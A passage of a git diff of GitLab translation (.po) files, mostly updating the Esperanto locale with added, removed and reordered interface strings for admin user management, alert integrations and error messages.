-msgid "Related Merge Requests"
-msgstr ""
-
-msgid "Related Merged Requests"
-msgstr ""
-
-msgid "Remind later"
-msgstr ""
-
-msgid "Remove project"
-msgstr ""
-
-msgid "Repository"
-msgstr ""
-
-msgid "Request Access"
-msgstr ""
-
-msgid "Reset git storage health information"
-msgstr ""
-
-msgid "Reset health check access token"
-msgstr ""
-
-msgid "Reset runners registration token"
-msgstr ""
-
-msgid "Revert this commit"
-msgstr ""
-
-msgid "Revert this merge request"
-msgstr ""
-
-msgid "Save pipeline schedule"
-msgstr ""
-
-msgid "Schedule a new pipeline"
-msgstr ""
-
-msgid "Scheduling Pipelines"
-msgstr ""
-
-msgid "Search branches and tags"
-msgstr ""
-
-msgid "Select Archive Format"
-msgstr ""
-
-msgid "Select a timezone"
-msgstr ""
-
-msgid "Select existing branch"
-msgstr ""
-
-msgid "Select target branch"
-msgstr ""
-
-msgid "Set a password on your account to pull or push via %{protocol}."
-msgstr ""
-
-msgid "Set up CI"
-msgstr ""
-
-msgid "Set up auto deploy"
-msgstr ""
-
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
-msgid "Showing %d event"
-msgid_plural "Showing %d events"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "Source code"
-msgstr ""
-
-msgid "Specify the following URL during the Runner setup:"
-msgstr ""
-
-msgid "StarProject|Star"
-msgstr ""
-
-msgid "Start a %{new_merge_request} with these changes"
-msgstr ""
-
-msgid "Start the Runner!"
-msgstr ""
-
-msgid "Switch branch/tag"
-msgstr ""
-
-msgid "Tag"
-msgid_plural "Tags"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "Tags"
-msgstr ""
-
-msgid "Target Branch"
-msgstr ""
-
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
-msgid "The collection of events added to the data gathered for that stage."
-msgstr ""
-
-msgid "The fork relationship has been removed."
-msgstr ""
-
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
-msgid "The phase of the development lifecycle."
-msgstr ""
-
-msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
-msgstr ""
-
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
-msgid "The production stage shows the total time it takes between creating an issue and deploying the code to production. The data will be automatically added once you have completed the full idea to production cycle."
-msgstr ""
-
-msgid "The project can be accessed by any logged in user."
-msgstr ""
-
-msgid "The project can be accessed without any authentication."
-msgstr ""
-
-msgid "The repository for this project does not exist."
-msgstr ""
-
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr ""
-
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
-msgid "The time taken by each data entry gathered by that stage."
-msgstr ""
-
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
-msgid "There are problems accessing Git storage: "
-msgstr ""
-
-msgid "This means you can not push code until you create an empty repository or import existing one."
-msgstr ""
-
-msgid "Time before an issue gets scheduled"
-msgstr ""
-
-msgid "Time before an issue starts implementation"
-msgstr ""
-
-msgid "Time between merge request creation and merge/close"
-msgstr ""
-
-msgid "Time until first merge request"
-msgstr ""
-
-msgid "Timeago|%s days ago"
-msgstr ""
-
-msgid "Timeago|%s days remaining"
-msgstr ""
-
-msgid "Timeago|%s hours remaining"
-msgstr ""
-
-msgid "Timeago|%s minutes ago"
-msgstr ""
-
-msgid "Timeago|%s minutes remaining"
-msgstr ""
-
-msgid "Timeago|%s months ago"
-msgstr ""
-
-msgid "Timeago|%s months remaining"
-msgstr ""
-
-msgid "Timeago|%s seconds remaining"
-msgstr ""
-
-msgid "Timeago|%s weeks ago"
-msgstr ""
-
-msgid "Timeago|%s weeks remaining"
-msgstr ""
-
-msgid "Timeago|%s years ago"
-msgstr ""
-
-msgid "Timeago|%s years remaining"
-msgstr ""
-
-msgid "Timeago|1 day remaining"
-msgstr ""
-
-msgid "Timeago|1 hour remaining"
-msgstr ""
-
-msgid "Timeago|1 minute remaining"
-msgstr ""
-
-msgid "Timeago|1 month remaining"
-msgstr ""
-
-msgid "Timeago|1 week remaining"
-msgstr ""
-
-msgid "Timeago|1 year remaining"
-msgstr ""
-
-msgid "Timeago|Past due"
-msgstr ""
-
-msgid "Timeago|a day ago"
-msgstr ""
-
-msgid "Timeago|a month ago"
-msgstr ""
-
-msgid "Timeago|a week ago"
-msgstr ""
-
-msgid "Timeago|in a while"
-msgstr ""
-
-msgid "Timeago|a year ago"
-msgstr ""
-
-msgid "Timeago|about %s hours ago"
-msgstr ""
-
-msgid "Timeago|about a minute ago"
-msgstr ""
-
-msgid "Timeago|about an hour ago"
-msgstr ""
-
-msgid "Timeago|in %s days"
-msgstr ""
-
-msgid "Timeago|in %s hours"
-msgstr ""
-
-msgid "Timeago|in %s minutes"
-msgstr ""
-
-msgid "Timeago|in %s months"
-msgstr ""
-
-msgid "Timeago|in %s seconds"
-msgstr ""
-
-msgid "Timeago|in %s weeks"
-msgstr ""
-
-msgid "Timeago|in %s years"
-msgstr ""
-
-msgid "Timeago|in 1 day"
-msgstr ""
-
-msgid "Timeago|in 1 hour"
-msgstr ""
-
-msgid "Timeago|in 1 minute"
-msgstr ""
-
-msgid "Timeago|in 1 month"
-msgstr ""
-
-msgid "Timeago|in 1 week"
-msgstr ""
-
-msgid "Timeago|in 1 year"
-msgstr ""
-
-msgid "Timeago|less than a minute ago"
-msgstr ""
-
-msgid "Time|hr"
-msgid_plural "Time|hrs"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "Time|min"
-msgid_plural "Time|mins"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "Time|s"
-msgstr ""
-
-msgid "Total Time"
-msgstr ""
-
-msgid "Total test time for all commits/merges"
-msgstr ""
-
-msgid "Unstar"
-msgstr ""
-
-msgid "Upload New File"
-msgstr ""
-
-msgid "Upload file"
-msgstr ""
-
-msgid "UploadLink|click to upload"
-msgstr ""
-
-msgid "Use the following registration token during setup:"
-msgstr ""
-
-msgid "Use your global notification setting"
-msgstr ""
-
-msgid "View open merge request"
-msgstr ""
-
-msgid "VisibilityLevel|Internal"
-msgstr ""
-
-msgid "VisibilityLevel|Private"
-msgstr ""
-
-msgid "VisibilityLevel|Public"
-msgstr ""
-
-msgid "VisibilityLevel|Unknown"
-msgstr ""
-
-msgid "Want to see the data? Please ask an administrator for access."
-msgstr ""
-
-msgid "We don't have enough data to show this stage."
-msgstr ""
-
-msgid "Withdraw Access Request"
-msgstr ""
-
-msgid "You are going to remove %{group_name}. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr ""
-
-msgid "You are going to remove %{project_name_with_namespace}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr ""
-
-msgid "You are going to remove the fork relationship to source project %{forked_from_project}. Are you ABSOLUTELY sure?"
-msgstr ""
-
-msgid "You are going to transfer %{project_name_with_namespace} to another owner. Are you ABSOLUTELY sure?"
-msgstr ""
-
-msgid "You can only add files when you are on a branch"
-msgstr ""
-
-msgid "You have reached your project limit"
-msgstr ""
-
-msgid "You must sign in to star a project"
-msgstr ""
-
-msgid "You need permission."
-msgstr ""
-
-msgid "You will not get any notifications via email"
-msgstr ""
-
-msgid "You will only receive notifications for the events you choose"
-msgstr ""
-
-msgid "You will only receive notifications for threads you have participated in"
-msgstr ""
-
-msgid "You will receive notifications for any activity"
-msgstr ""
-
-msgid "You will receive notifications only for comments in which you were @mentioned"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you %{add_ssh_key_link} to your profile"
-msgstr ""
-
-msgid "Your name"
-msgstr ""
-
-msgid "day"
-msgid_plural "days"
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "new merge request"
-msgstr ""
-
-msgid "notification emails"
-msgstr ""
-
-msgid "parent"
-msgid_plural "parents"
-msgstr[0] ""
-msgstr[1] ""
diff --git a/locale/eo/gitlab.po b/locale/eo/gitlab.po
index f4bb088b700..39d845fc0ff 100644
--- a/locale/eo/gitlab.po
+++ b/locale/eo/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: eo\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:42\n"
+"PO-Revision-Date: 2020-12-03 08:11\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "Ĉu vi certe volas forigi ĉi tiun ĉenstablan planon?"
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
